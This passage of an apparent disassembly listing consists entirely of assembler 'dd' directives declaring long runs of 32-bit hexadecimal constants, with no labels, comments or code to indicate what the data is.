		dd 398F1424h, 79004F40h, 10CB112Fh, 7500521Dh, 657D4937h
		dd 70D32D2h, 9476C747h,	0EEBB704Eh, 13318601h, 7F50707Eh
		dd 26188980h, 401E372Dh, 0AD059CECh, 0E228863Ch, 6258F90Fh
		dd 8057FAE1h, 60BB62A8h, 0A66D0576h, 15C017h, 0E495F9B4h
		dd 581E67C5h, 0FC40F1E2h, 771AB112h, 0D0F06A7h,	0F0EEB659h
		dd 0CC79BA03h, 7E501Fh,	17EB2681h, 0C8627C01h, 6D56DB00h
		dd 55B518B0h, 0C4BC003Eh, 7A3BB7ABh, 0E0009314h, 80D33538h
		dd 7D19DDDAh, 4B47030Ah, 585F3466h, 20AEE9E3h, 52684D00h
		dd 0B705F87Ch, 0DC080035h, 0C71D2C25h, 0D005426h, 91ECB9A8h
		dd 66B1842h, 0BAAA32C2h, 5D30613Eh, 47940863h, 0BC5100A6h
		dd 426D2A28h, 0E9311FB3h, 3DB530C1h, 6A20E209h,	38ED25Bh
		dd 8C4AD9BEh, 778767CEh, 5E6D0199h, 4929804Eh, 46CC82C8h
		dd 4120A8Ch, 43783FC3h,	91F84B35h, 7E30C683h, 0A8BDD9C1h
		dd 5A2000B6h, 0D72AC004h, 0C62AE83Ah, 0DB0E6492h, 0C071B8D3h
		dd 93153958h, 41AB6027h, 0C956BD14h, 0E3188C78h, 0EB19C07Eh
		dd 20601DFDh, 0FF60016h, 0DFB493F9h, 5748B801h,	3D3239CDh
		dd 0C3705057h, 79479B4h, 0A0C8E534h, 60AC0784h,	30476677h
		dd 0B9A22E00h, 0CB093D12h, 51651971h, 0DDD33070h, 117980E8h
		dd 9377EA95h, 583700D4h, 332D3104h, 0E23E1413h,	0A15F00D8h
		dd 8D834A88h, 5488C053h, 0B87220BDh, 645C3B15h,	0EE9C00A8h
		dd 2F986163h, 9EAF0043h, 0ED7A0EBFh, 920ADA30h,	845FE04Dh
		dd 0ECCDD480h, 0A0ABD50h, 892995BCh, 15D811D4h,	0FEC3B72h
		dd 2EBAF98h, 984001B5h,	16D0280h, 390DBB4Ch, 26949012h
		dd 72EC1124h, 0D8CEC30Ah, 0C7B38494h, 0E0208C40h, 76915460h
		dd 9F89C5h, 0B52E0CD7h,	315101D9h, 60053F14h, 0C222D4h
		dd 0F0722942h, 0D578A94Bh, 18B1939h, 67CF4F66h,	0C08FEFE4h
		dd 0DA00D9A1h, 93DCF9C7h, 9270B861h, 4980C37Fh,	2E175360h
		dd 0B70078ACh, 0CD63814h, 50EACFh, 3FE1944Bh, 6BF9101h
		dd 14B0F650h, 0B153D930h, 135C3E0h, 27F4F8C9h, 60A6061Fh
		dd 932AE2B0h, 0A000C865h, 0FB2BF7B3h, 149FE191h, 0E47B643Fh
		dd 32516DC4h, 99484088h, 1BF4014Bh, 0B4EEC462h,	807182DDh
		dd 0A0A9C335h, 6ADE14A4h, 2C805C2h, 0C03D92D2h,	9D2DAB4Ah
		dd 0B63A1706h, 503994BAh, 4008EC90h, 0C200A1BFh, 50DBF61Bh
		dd 0AEC96BC3h, 0C2C60C90h, 5369D9B2h, 0F22E1400h, 0A85E4880h
		dd 2AC80063h, 0DA0CC4E4h, 2B00E61Fh, 0BF404631h, 37931C39h
		dd 3079EEDDh, 0C672012Dh, 702611C0h, 3B21774Dh,	1986EBABh
		dd 0E868027Fh, 41665B0Ah, 0C2E29040h, 34A480D0h, 172D7D65h
		dd 1A9EECFh, 6D4DF3E5h,	222423B2h, 0F5273E51h, 399F8A00h
		dd 0C749E658h, 49D20B30h, 0D0BD89B3h, 610AE891h, 89083C9h
		dd 0DC41B81Ch, 308A8103h, 0C090C6F0h, 6487C83Ah, 713D3530h
		dd 0AF13DAh, 46365597h,	564E9B0Fh, 7C8AE020h, 7E7B3CD3h
		dd 0C8105900h, 4082F364h, 9045772h, 3C81758Ah, 0F6269490h
		dd 0BE240AACh, 0C1840FDBh, 0BCA93590h, 80C0CD51h, 0AE857A0Ch
		dd 89D8A8B7h, 71830064h, 105DA2DFh, 6307F8FDh, 3253EC8Ch
		dd 0B8DEE8A0h, 68564CF0h, 295E1500h, 898C0F86h,	80E0B94Ch
		dd 0B1D473DDh, 0A0854930h, 0C8813AC4h, 28006FF8h, 198D0FE1h
		dd 3DC8913h, 73816A9Ah,	0A087B33Ah, 5C443CC3h, 0B0518B44h
		dd 6CA180CAh, 0B50005Eh, 5C2DC469h, 3402C91Ch, 5B295D3Eh
		dd 0F7805DD8h, 752AE63Bh, 938FF4Ch, 67DA83h, 6CFD5A83h
		dd 0B34D0394h, 613A4BADh, 7C472203h, 12E103BDh,	41905C0Eh
		dd 66EE99DCh, 0FB41F407h, 0EC0FF2A1h, 1401363Eh, 92A2C645h
		dd 744DF8F1h, 0F4EE5C48h, 6AC901E6h, 6555C3B5h,	69C33E07h
		dd 1A69F8CBh, 0BEAB0242h, 0DFAA4DC5h, 8D74BC44h, 0EE6C4C1Ah
		dd 0A8DC3BB0h, 904684B5h, 91341250h, 23286057h,	5B2ABB78h
		dd 2AF09C4Fh, 1A24C300h, 669CD084h, 5CC84958h, 18BF0411h
		dd 9B315A93h, 90975ACh,	0FA4A6146h, 0BCD68D80h,	29006073h
		dd 0A1E77AF9h, 1BBC32Bh, 44434BC6h, 0C01DBE9Bh,	480934C7h
		dd 90F354D7h, 641464h, 0B8E94CAEh, 4B3DA166h, 0B0C4A831h
		dd 0A3D0DD6Ch, 1C28C079h
		dd 8B034FCDh, 143A7F24h, 0CD400BFh, 0B14662A0h,	0E6C312A6h
		dd 1E58538Dh, 30982A14h, 171515Dh, 0FF002674h, 684A4CA5h
		dd 5EA3727h, 892C61B3h,	53A805C0h, 0C57804B9h, 84F090FFh
		dd 0EF018882h, 1A4C0978h, 4239A03h, 0CA02000h, 3A7E625Dh
		dd 4D0F3977h, 0C11C3DB9h, 0E2019A5Ah, 0FAF1A0F7h, 895B04F6h
		dd 80E3B554h, 0D518BCC6h, 43527800h, 6AF6C6DAh,	770B014Dh
		dd 0BA5A7B31h, 8029BB68h, 973B88E0h, 1CBEEF1Bh,	4040DD14h
		dd 0BC48D0E7h, 60C07BFCh, 0F8690241h, 9515264Bh, 34680040h
		dd 0DB7D0EF9h, 6B533918h, 0C0830550h, 0D201FC08h, 0E6012F46h
		dd 7B7D2656h, 0B6F1E26Ah, 0C3540C30h, 67B9DC80h, 408BC098h
		dd 9E905800h, 77C9D6F4h, 8EB3307Bh, 9021129h, 3FF8500h
		dd 1ADB2CFBh, 0BB5C01CCh, 0C2BF867Eh, 0C4804068h, 0AB240466h
		dd 0B30CEEA9h, 0D74177h, 2733ED76h, 0AC5E9171h,	0D33C637Eh
		dd 0AB11DF6h, 38096B8Fh, 183AB2F1h, 1152D093h, 0E00EC770h
		dd 854985D3h, 7840F57Fh, 0E1E27D35h, 0D08861FCh, 0D96A4681h
		dd 3FF6705Ch, 27945302h, 40608502h, 2809D62h, 2512BCDBh
		dd 0C1C08E45h, 0D754BB27h, 3B00E5C8h, 6AB90229h, 50DE2178h
		dd 0F33B474h, 8DF6CF65h, 3002E4F4h, 0E7822AEFh,	5C6AFCA4h
		dd 0AF73CAC0h, 1FB84730h, 5C1C2CB7h, 2F6B0A49h,	0D48F41A8h
		dd 0B6D45189h, 18C0B0D2h, 60E5DA1Bh, 2A5B9846h,	8867EACDh
		dd 0B7306129h, 67AF6881h, 70634971h, 0A6FA8CEAh, 0B9FE0C00h
		dd 73603A35h, 886516CEh, 160CBFDCh, 1E60BDh, 28978FA4h
		dd 0CE0E8CAAh, 0C9072E7Bh, 66D6AF2Ch, 0E998DDD0h, 6EA614D2h
		dd 3003CCB3h, 5F72A2EDh, 0F66CE922h, 26550074h,	31BDF480h
		dd 6B72D3E3h, 1F727506h, 29E6BBh, 0ACF98247h, 3D38D821h
		dd 0A2EA5E1Eh, 51969Ah,	5C876F14h, 0EAF615h, 7C1EE72Ch
		dd 2760F941h, 0E135FA11h, 7F070E75h, 48856BBDh,	2A998005h
		dd 20F757CAh, 6240F684h, 0CE870E65h, 0E2A32D01h, 4007DC4Dh
		dd 0B1276115h, 48B2FB72h, 5CF9CB0h, 0A657666Fh,	6916C09Fh
		dd 8E01D9EAh, 3FB7B73h,	7EF0CCC6h, 2F620112h, 601D7A2h
		dd 2ACC506Ah, 4E008BF5h, 0FE62A845h, 5CD2D8DFh,	99249713h
		dd 598140B4h, 5700B396h, 621ADAE4h, 0A093D020h,	38C4CAF4h
		dd 9018683Eh, 7165E939h, 40C5C900h, 6B9FEE02h, 0E40C5401h
		dd 0FF2CA0B3h, 9B270B5Ah, 2C008151h, 82056B44h,	3D189C92h
		dd 9C51FF1Bh, 5BF70F69h, 0F340D9D5h, 0C1CE172Fh, 7D3DAE00h
		dd 0F9D84906h, 695E2C97h, 45003D63h, 14EA1252h,	0B9E2A7F7h
		dd 34011F00h, 7A3374DAh, 0EC2500E5h, 6C6F13CAh,	0C430B6D7h
		dd 0EB8F9994h, 0C090AA85h, 0A4026FEEh, 0F94C0198h, 0E2CC57DBh
		dd 40BFC7DCh, 71D26B76h, 6200E071h, 824B9860h, 0B3D66Eh
		dd 0DD7900Ch, 3FCD6629h, 2807103Ah, 5B1F287Dh, 26C09034h
		dd 13A36333h, 4A037C6Ch, 57DDFC18h, 629C0720h, 4E93D1BFh
		dd 1663A8F7h, 190AF4D7h, 78F5210Eh, 0B760071Eh,	3FC7A7F6h
		dd 0A88E6327h, 88C040FDh, 0F731EB64h, 0F1A4B430h, 98EFFFBDh
		dd 27900014h, 80E13630h, 0FE007ED3h, 2C770C6Dh,	18CC7901h
		dd 0B8492561h, 0DE035F94h, 0B54A7C99h, 0DBA11E6Eh, 0F3107D7h
		dd 0F8005F60h, 89B6C6C0h, 6AEE1201h, 0A174D1D0h, 0E39F7881h
		dd 0DEFACE64h, 96AF7083h, 2770F7E8h, 781AD524h,	0A99AB20Ch
		dd 4CFF0362h, 24347643h, 0F3F112F0h, 938AC600h,	0FDA4A6D8h
		dd 75CC02AFh, 0BFF6F5D5h, 6C050C82h, 4C8DB8A0h,	2C00646Eh
		dd 844566C0h, 3A10A131h, 518804Fh, 0CEA296Dh, 0F2A6DC0Fh
		dd 0C2ED82B5h, 385C64B1h, 0FE09BEh, 3CB4AE9Ah, 7E8DEEB7h
		dd 72E76C00h, 3464DF6Fh, 24B1580Bh, 27BA2A13h, 3269C1B0h
		dd 39ADE424h, 0DACC6000h, 6C1EBFD8h, 0FCE120C7h, 3E6ADE03h
		dd 8A8701B7h, 778C4B3h,	7EBEB659h, 2261202Fh, 851C3113h
		dd 7BC95A4Fh, 0B6B0011Ah, 0DC10952Eh, 200172D3h, 965FAF9h
		dd 2423E214h, 9A32C501h, 92348C64h, 0D802D330h,	82213E93h
		dd 0A0700558h, 45377988h, 9EFE07E7h, 0C74D4ECFh, 1731C1C5h
		dd 3DE8848Eh, 9C43E720h, 5B1AD3Ah, 562C2087h, 0F12040B2h
		dd 3DF4001Bh, 4BB448C9h, 5D0B8B34h, 10BAD9AEh, 0F25B164h
		dd 31493971h, 0BB2BE2A0h, 889062D8h, 17CE561Ch,	0BAE4017Ch
		dd 0A7B60779h, 28DC76FCh, 2588104h, 0D95BC986h,	0B684117Bh
		dd 3AA498F7h, 632B7502h, 0A0CC610Ch, 0E50D40BCh, 0AD7DB0h
		dd 849CB96h, 0DF59F511h, 9C605C60h, 98090FE4h, 0F93D18DCh
		dd 683551FDh, 0FB748CF6h, 9E01B200h, 7A87CEF6h,	0BBAE303Dh
		dd 0E1BFD160h, 176EE79h, 0DE5DF125h, 80E4245Ah,	0F88ACC86h
		dd 0F3C2D7Ah, 0AB26802Ah, 16304C2Bh, 24D4F256h,	2914C9E1h
		dd 6ADC0688h, 83F0F103h, 0A502027Ah, 8487A0FAh,	0F35840C2h
		dd 37DF05ACh, 5A6627h, 0DE7712ECh, 3A78AD18h, 0E21C091Ah
		dd 91548440h, 3385BD40h, 4902ECA3h, 9DF93FA8h, 617BC00Dh
		dd 0FA4B01Eh, 9A66288Ch, 602D7A1h, 0F689806Eh, 0EB01EC8h
		dd 7BB2091Bh, 6C00CCDAh, 0CBD635F0h, 0D4AF663Fh, 2B00F5B8h
		dd 0ADB7D381h, 39E92FECh, 0E680479Ah, 91120441h, 0B01C84F8h
		dd 748E9FF0h, 0CF60201Ah, 48B79B98h, 0B589C8FAh, 40774848h
		dd 5B00BF98h, 6A9C3AAFh, 26350DAAh, 15C2123h, 1CCBF65h
		dd 982860D3h, 0C0D42537h, 632A3B40h, 5F67000Fh,	2C686053h
		dd 9139F966h, 0E9CBB27h, 0E07296EBh, 859920DBh,	0A80F483Dh
		dd 0A1ECB7C0h, 0FC00949Ah, 1DC2DD54h, 2E7E02h, 4CDBB625h
		dd 967A5D6Fh, 0F7112A62h, 0A5148E6Ch, 0E44076EDh, 0DB660C9Fh
		dd 0E188EBAEh, 6397D7D9h, 64DD0C03h, 67C80EB7h,	0D480A097h
		dd 82FFAE08h, 0F546B400h, 33BEF8D6h, 736D0091h,	0B25EA5FBh
		dd 103B9F7h, 0D0E29419h, 0D3715053h, 0AF990374h, 793D2C11h
		dd 0D1B21901h, 8ACB7C13h, 1747422h, 57E2C598h, 0DE62CE6Fh
		dd 3A1694C6h, 2C15355Ah, 0F9AD0178h, 93AF6019h,	1D92C980h
		dd 0E868AADBh, 10AD720Ch, 530B964h, 58099BB0h, 0C2C3087h
		dd 0DA0AD49Eh, 44680BBDh, 0AF453100h, 62EC6B94h, 153DB181h
		dd 0A70018ECh, 0CB549DA2h, 1BD27Dh, 6548840Ch, 46ADB76h
		dd 2A39D360h, 0C08260CDh, 87B4B671h, 0CC92B802h, 61D9150Fh
		dd 0A8D5E0F6h, 0A38320h, 0EF426B3Fh, 0E268AF7Fh, 0D05D782Eh
		dd 0D2274180h, 3E3624Eh, 7EADE6D6h, 0D954013Eh,	3C3D2A1Ch
		dd 2DB1FF5h, 604E428h, 36FAE466h, 4C7D50C8h, 0C5801C44h
		dd 765F38EDh, 84606270h, 0FFADF0A9h, 0CD0F007Ch, 0C9D8AAA7h
		dd 818FE4Ch, 0CC11A1B0h, 0C9B46B60h, 201D700Fh,	69D7B530h
		dd 3AA8F470h, 4E817A7Ch, 0DA0486D3h, 0FD444089h, 752EC545h
		dd 745E438h, 8C20D0CCh,	41AE102h, 0A2A09105h, 840A3DF8h
		dd 0C1EE58h, 8030F1CFh,	2F7B0931h, 0BC618FABh, 0C81FE4E8h
		dd 0C0109389h, 73017E91h, 3F070B05h, 48755147h,	998891h
		dd 2788F883h, 4C751AD9h, 0A1C8B882h, 0CF259420h, 883C905Ch
		dd 14CD00F6h, 1CB2B60Bh, 0E30C2258h, 124867F5h,	0EA820112h
		dd 0D4FC04ECh, 477CF8CCh, 18822CA2h, 0D0256D63h, 84AA0C03h
		dd 0B988987Ch, 918CA85Fh, 1F402414h, 9E6709D0h,	34B26403h
		dd 0C3C00CC0h, 0D6EF2605h, 9420BA06h, 0B19408h,	0E2E3F3D0h
		dd 0B4EC050Ah, 0C0911D6h, 134C436h, 0AD7DA6B9h,	806F06BBh
		dd 253A9541h, 4E30BAh
		dd 880357E0h, 50ED6AD8h, 6222DCA4h, 0EFF828FDh,	0F0D404C8h
		dd 88A361B0h, 0E4A102BCh, 0DD983063h, 0C980F317h, 5E871800h
		dd 900399D6h, 94054808h, 8B803C8Bh, 3DC24CFAh, 87EC4601h
		dd 66EA8F7Bh, 2A699DF8h, 0C072AFh, 0C435A7D3h, 21D8F78Eh
		dd 0EC204800h, 0A0B75BF5h, 80B63B71h, 113AB900h, 0A62D9A7h
		dd 0C95A9502h, 0C9796837h, 98212DE8h, 2829F521h, 597AF000h
		dd 58B593B0h, 9E62C4E6h, 402CBB1h, 1564E331h, 84E4B5h
		dd 0D5D8465Eh, 0FED19715h, 0AE3C138Eh, 0FCF0208Dh, 0F509857Fh
		dd 0EA0AB941h, 0F7C890Ch, 1D91A05Ah, 13161D6h, 0BA20DC98h
		dd 86C6D0E4h, 27213D40h, 0B6052531h, 0CCE6A000h, 0D5008B3Ch
		dd 0DC1B343h, 41A37D9h,	0DA0F6A48h, 5BB5D265h, 4FA6A0E0h
		dd 0D125D8BAh, 2EA4800Ah, 7D429071h, 84FD0054h,	36AA40EEh
		dd 98F61FB5h, 5196E509h, 0C2C4E8CDh, 0CAC03843h, 88E1BD80h
		dd 91C32C64h, 4DF5AE0Bh, 5CC841Ch, 24418C8h, 0A3DBBD3Dh
		dd 33C01165h, 3700C2D1h, 2EFE55A4h, 1F5E2C0Ch, 52C30259h
		dd 40E40158h, 759C056Ah, 0E4903028h, 0B1FB6B88h, 0B21770h
		dd 0CC79465Ch, 0DA50E6BBh, 1508D8B8h, 8588E28Fh, 2278C6B6h
		dd 8F23E3D4h, 0FDE7B081h, 3C295C27h, 8000A842h,	5F7F166Bh
		dd 56003552h, 28872379h, 30B2732Fh, 7B29EC6Ah, 0EA0002DCh
		dd 90DF8E01h, 681B3D81h, 60806196h, 0A452548Dh,	7EE34600h
		dd 87B21EA3h, 1CB4079Ah, 809D3003h, 5A867C08h, 0C974BA50h
		dd 3900D5F2h, 0DA27396h, 42E54F2h, 2DB6E2C7h, 0D1C0D0E3h
		dd 0A00959EAh, 808192CBh, 9BA0BECh, 10DC00EBh, 0C7BB0784h
		dd 0D703A743h, 429CEC08h, 33E3805Ah, 1409866h, 38C97EF3h
		dd 38C55F9Ah, 3D36C4B4h, 31208E22h, 3E1A026h, 6F7ED3B7h
		dd 2602EF1Bh, 0C2F0CE5Fh, 4400DAF5h, 0D23E686Dh, 56D5A5CDh
		dd 4E1C0E12h, 0C521926Eh, 61F286BDh, 6B7C20F0h,	0B2C4D45Ch
		dd 44ED803Ch, 7456D6BEh, 0EBD80009h, 763B4ECCh,	0F4A4F5B3h
		dd 1A13A0E8h, 4409EAFFh, 0C2B49B7Eh, 1F28590Eh,	0B5804109h
		dd 61DC4671h, 2386038h,	42813C94h, 440745AAh, 628C50CEh
		dd 0B3BA49B0h, 0E00C9066h, 122D9EF5h, 7DC801AAh, 5F9DAC4Bh
		dd 1C02DB9h, 95BFABDh, 81939420h, 69B8D005h, 22001325h
		dd 28010B1h, 1E5FEh, 3E6AE865h,	0BD5FC431h, 0C6EE7100h
		dd 3F92E8Ah, 40464E11h,	0C17AF34Ch, 5D18129Ah, 0E1616ABBh
		dd 5EB2037Fh, 9750BA51h, 2D1DB8A0h, 7448602Eh, 45D0F404h
		dd 3203ED49h, 0A4A089AEh, 0BF09D13Dh, 686204D2h, 40630Ch
		dd 0B9E65E69h, 7F989EFEh, 0C04B4804h, 808367F4h, 84C8C54Eh
		dd 3CBD4460h, 37A663Eh,	0B503202h, 0D3500BF0h, 0D4A3388Dh
		dd 0D2E0F27Ch, 0FA0B0CCBh, 0B1D86AF0h, 80C4F8CCh, 0EA402CB1h
		dd 1CE822BCh, 0ED0476E7h, 8804AC89h, 0F5354067h, 0F83EFBEh
		dd 0AF2208FBh, 9000FEEBh, 0D732AAB6h, 0E9C1F001h, 0CB8A6F31h
		dd 8089403Ch, 0B328C88Eh, 0A3D4FD14h, 2AE9C094h, 600700CCh
		dd 97495793h, 0A2008ED4h, 489CC9C2h, 23ABB06h, 8853D2DFh
		dd 0B87BF2EBh, 22F06B82h, 0A56864BDh, 29258008h, 2A54B559h
		dd 520B3601h, 0B693B7A5h, 0B90F8D0h, 638F46CAh,	0E4189412h
		dd 83006712h, 44C6DC40h, 10E9F89h, 0CAD7618Bh, 301B5985h
		dd 8C90F0A4h, 0AF748h, 587E54EEh, 0D5BE62h, 0F0A04922h
		dd 0F831EB46h, 3ECEF11Fh, 0ED61600h, 38EAC26h, 9B74F071h
		dd 0DDAB93h, 1A76A9A4h,	510021F2h, 0DA80E28Eh, 71FB1639h
		dd 21664ADBh, 40EF4254h, 74C1640Ch, 0D0F3E50Ch,	3B6C144h
		dd 1E225BC0h, 2EB96E52h, 0A069A1h, 0FEDB7DBBh, 0CE9960Ah
		dd 93046CADh, 0CB49B339h, 982200B4h, 0B4D0E37h,	8D14001Eh
		dd 89E7CA84h, 0F7003129h, 56DA1A03h, 4904605Eh,	0B22EE8F3h
		dd 8D6562B0h, 0FA31A660h, 0AE119800h, 0F789050Dh, 0A3E4D7h
		dd 0ADD1775Ch, 0D665F0E1h, 10C3B800h, 0B3087AB0h, 0B5CB02D3h
		dd 5C4B1AFAh, 4F0124E6h, 6CED25F3h, 0D3F8CDEFh,	4C3C4CD0h
		dd 0DCB3FB80h, 221367B6h, 160CE9FEh, 0C9A1110h,	550E095Ch
		dd 80282A1h, 6857CA7Ah,	4CF1CFh, 5AF761F4h, 0E000CCC0h
		dd 0D75FE4F8h, 4F0C31BAh, 0F7D00149h, 206F5988h, 760C7CCCh
		dd 0EE82F803h, 0D19E0902h, 0DC23BEA7h, 7100E5BBh, 36261016h
		dd 128AA6EEh, 40B5027Ah, 7CD23B98h, 64025C4Dh, 9F6D14F0h
		dd 7287602Bh, 87FE0F30h, 48C0B2DBh, 6F5C38CFh, 102F0491h
		dd 7ECB84h, 0A63070Ch, 0E66F41E1h, 0F7306B74h, 7D31D9F5h
		dd 135471BBh, 0C88E8BB6h, 3840854h, 2369A8B8h, 20F00360h
		dd 730787ADh, 0E7F05910h, 419CE320h, 0C461007Eh, 0D4ED0550h
		dd 1A00408Dh, 3568BF62h, 588FDA1h, 16C0792h, 71788824h
		dd 53E47D89h, 0EC69FC16h, 83EA8Ch, 6373D2D0h, 0BCD6300Fh
		dd 0DD1A4800h, 1567CB7Ch, 29211601h, 9964D0BAh,	0B200D01Eh
		dd 0AF1A09D5h, 9850D9E3h, 4CEC79BEh, 2A00959Ch,	0A7699E03h
		dd 6F86059h, 0BE1D89DFh, 3510A0A5h, 2C358E4h, 569977B7h
		dd 6B42DAE7h, 78C08342h, 2AE73780h, 7F04001Eh, 14DC7745h
		dd 24EF0094h, 0ADCF0888h, 0F81239E9h, 900164F6h, 0A7B53FE8h
		dd 8307E412h, 1AEEBA40h, 5E4A0E3Bh, 0AA6095B9h,	61CCC23h
		dd 0F548E900h, 3B19C1AFh, 3A71266h, 0FF5C489Ch,	0BEF9AC80h
		dd 4CF2BB5h, 0F72FDD48h, 0ECB2B4h, 8A8E8409h, 195C885Dh
		dd 1185A262h, 720FF95Ah, 2AC0DDA8h, 2DB324B0h, 0A1C7505Fh
		dd 17BD0113h, 39577997h, 0F01820EAh, 8BD62A17h,	628F4805h
		dd 54D0F0C8h, 1D0E8847h, 4057F2E2h, 0AA0C3A31h,	9C796639h
		dd 0B30C44B6h, 5C47A978h, 3512A155h, 0CDEA0056h, 0BBBEF6FAh
		dd 4687059h, 0EFF529ECh, 88068F2h, 0FF49F1AFh, 0AD5CC898h
		dd 5A94E750h, 0A1B4B720h, 6AAE78A8h, 0D4C0B0B8h, 9A3D78E7h
		dd 0C359009Eh, 0E57249Dh, 5D05177Bh, 6C01D6F3h,	79C090F2h
		dd 0CE4BEBCFh, 0E0BB6900h, 0C4F22B3Fh, 5AC8B075h, 0C81057EEh
		dd 0A30E266Ch, 60D2E689h, 0D9368269h, 1AB8002Ch, 60D8A8FBh
		dd 94261F98h, 5C0EC7E2h, 2152C1FFh, 2D1A6Ah, 0EA2E2480h
		dd 9F98E4BFh, 897F3A00h, 0D02344ECh, 12F5771Ch,	0B2AAC9B7h
		dd 0F93900F4h, 4C8F0CCh, 3941619h, 0E03C04ABh, 1508900Ch
		dd 11002769h, 0EBA92BE4h, 5D86F0h, 5148D3C5h, 88B0EACEh
		dd 0F275C200h, 0E13DE224h, 0F8D8134Dh, 7EB488AAh, 7D15A107h
		dd 2717199Bh, 7F6DD60h,	4CD6E4E9h, 8842A468h, 235C1Ch
		dd 0F349B7B8h, 0D000E92Bh, 74C8A809h, 9E54BAABh, 68F804FCh
		dd 3F00A962h, 29D202D5h, 4051CFB4h, 0B819CF4h, 0FD9B39DBh
		dd 18812462h, 107064CCh, 363345Bh, 0B37E2D9Ch, 0AEA9699Ah
		dd 0F5E064E1h, 3355201h, 76AF304Eh, 2B6E6980h, 0D8445FCDh
		dd 0A68AEA09h, 0DC7C0290h, 13B01304h, 0E500B020h, 0B41C63E2h
		dd 39C7BBFh, 7CB25F03h,	54A8DA98h, 200DEF7h, 633D8568h
		dd 0E08254Fh, 7573386h,	8C220096h, 2B647145h, 9101C590h
		dd 0BC03950Ah, 18D0E9A2h, 0C1570C75h, 1E306BE3h, 0CA979100h
		dd 229DAE24h, 0D1F100C5h, 19C6FAB7h, 60C01E2Bh,	6F94C4CAh
		dd 3980F1D9h, 589F7870h, 49C3118Bh, 740CF71h, 4E432430h
		dd 0EF05CEA6h, 77F80Bh,	1C66E809h, 0C00E2BFBh, 79BB3749h
		dd 5E002DA0h, 292FE0C7h, 0C1C6F3h, 0AB59AC76h, 9650BC13h
		dd 0EB88000h, 0EBFDDBEEh
		dd 4AF40046h, 0C6C31269h, 0A9C65B2Ch, 3081133h,	7FE9292Ah
		dd 0B9F0B047h, 0C200F923h, 0B4BEB6F2h, 0A4B5421h, 0D3599990h
		dd 0FD1E9D9Ch, 0C518E780h, 0FBF9DECDh, 2C6257h,	7AC77B9Ah
		dd 0F6B3B0h, 0C58BAB43h, 0A71921CFh, 290B3237h,	7CA29850h
		dd 5EF000Fh, 6BF944A9h,	91008CCAh, 12248D78h, 0DD7FA6h
		dd 0E4C0F727h, 8A23414Dh, 0CF42FC00h, 9E20198Dh, 0A551C228h
		dd 0B0A0E379h, 0F3823E2Dh, 3905837Ch, 0E2AB388Bh, 16C1E824h
		dd 39805833h, 6614D65Ch, 0FA094CD2h, 0FE4FAFE1h, 75BE004Dh
		dd 38BD54ADh, 0A452CB0Ch, 1D4C61ABh, 0CF1757E8h, 1FC98D9Dh
		dd 1044A088h, 0E8EC883h, 0CA856668h, 59982067h,	91C62390h
		dd 31AD71h, 1656EA27h, 618AED4Eh, 8482C128h, 0B8987F50h
		dd 3B74AB3Ch, 8F839FDBh, 0D8AC424Ch, 53313007h,	0E852BE19h
		dd 9FE14101h, 99274E1Fh, 507D5FF0h, 7A1ADC8Eh, 0CA7709h
		dd 5EE84BAEh, 0A92D417Ch, 40E75924h, 91B0710Ch,	877E0097h
		dd 5846BE76h, 8900F1EEh, 52A29EDEh, 1A1C203h, 40E4EC3Ah
		dd 8AFC64AAh, 0D06C8DD0h, 3F9A9600h, 299EC2Eh, 0C011D505h
		dd 7E072AA0h, 0A66E45B0h, 12B6009Bh, 9A9727B5h,	99E2441Fh
		dd 115DE200h, 0BEDED4D7h, 0F6BD00C6h, 0B2409A95h, 84A0A38Ch
		dd 0E118ACA7h, 1E792CD6h, 0E970484Ah, 0B20A3700h, 0BE96BF33h
		dd 4D5CED00h, 0B5CEA0C9h, 0A8DA3F11h, 4055FE92h, 197D146Ch
		dd 36179495h, 0FA0010F7h, 0A4A6B16Eh, 0B27D37h,	0AD2CA77Dh
		dd 9CEA2103h, 141A2400h, 2B387F6Dh, 1283E6E6h, 0C93495Ah
		dd 6259522Ch, 4ECD2D00h, 0DD040E3Ah, 0F86B00DEh, 0F3DC8C1Bh
		dd 4300F2F9h, 1D8F7ECEh, 1329540h, 49933C8Bh, 25DDECB9h
		dd 6B746014h, 3F006891h, 736E359h, 94CA021Ch, 0D798F762h
		dd 8325EC84h, 7A4F0C8h,	54E0EC23h, 5C9802Fh, 90A257ACh
		dd 0FB94039Fh, 6109091Fh, 106EA759h, 7265408Ch,	67901991h
		dd 81A8501Ch, 0A45A2229h, 48203BC0h, 759424D5h,	0C92D8C78h
		dd 41CC141h, 7F1CC31Ah,	840099D2h, 662C369Eh, 9C3700D3h
		dd 6FF21753h, 0BE12107Ch, 3440E91Fh, 0BA12EE1Bh, 0CAB8DAh
		dd 0BE79F719h, 16AB3794h, 7103D50Fh, 4E8600C9h,	0C3CD880Eh
		dd 8F58A639h, 0B9018978h, 13191092h, 5BC4C9FEh,	0E0414C12h
		dd 90A51850h, 0E8984Ch,	0A4C7E4EDh, 0A95898A7h,	949BE11Dh
		dd 173250Fh, 347F5D1Ch,	58402D31h, 396485F9h, 0AC0B42FDh
		dd 1800A5E0h, 87C275DAh, 98905954h, 54F09700h, 38B9622h
		dd 778000D8h, 0BE3A9FB8h, 0C400D7A6h, 0A235B236h, 0A2887081h
		dd 4C00FA4h, 3F409FFDh,	40143C94h, 0EC5ECB05h, 0B8213A48h
		dd 53030780h, 800A09Ah,	34A9769Ah, 0C2B82E69h, 0EC905D1Ch
		dd 4188358Fh, 236A2688h, 81E32080h, 5FDC700Ch, 0CE3001E5h
		dd 62ED53DEh, 93408742h, 12480A34h, 6C600056h, 97DD3E73h
		dd 67D15817h, 0D4BC8604h, 220818C3h, 9B9038A0h,	0AB981205h
		dd 20983FDBh, 0CBD77FBh, 5E9C94C3h, 58427540h, 85076921h
		dd 81CC31B8h, 2C07105h,	0CB87E10Eh, 4FE0BF45h, 2C12425Fh
		dd 4030107Dh, 0ECA8A9h,	0A052D24Fh, 0CA58C9Ch, 3202FBEEh
		dd 88B8C808h, 0F28493F6h, 0CE712224h, 0A46D2848h, 91F6F82Eh
		dd 2C045B1Dh, 0A08884EBh, 5D7E4061h, 0CD24BC90h, 0BC2864EAh
		dd 40502B3Eh, 0B90D6033h, 144BBCB9h, 599C4801h,	83EC5F6Bh
		dd 0D5FEF03Ah, 78715D28h, 6222AF00h, 25D2BDB1h,	2C9000C8h
		dd 9FA10A36h, 0A21FC7CAh, 0E700220Eh, 991BE996h, 0C9D86188h
		dd 10403020h, 300B7181h, 60F6D293h, 5A148768h, 2274C590h
		dd 0F9EA00ABh, 8F8BE294h, 0F80C64E1h, 0D87F95CEh, 82C48D8h
		dd 46E1D841h, 12599434h, 4987348Ah, 34108854h, 2807CBD0h
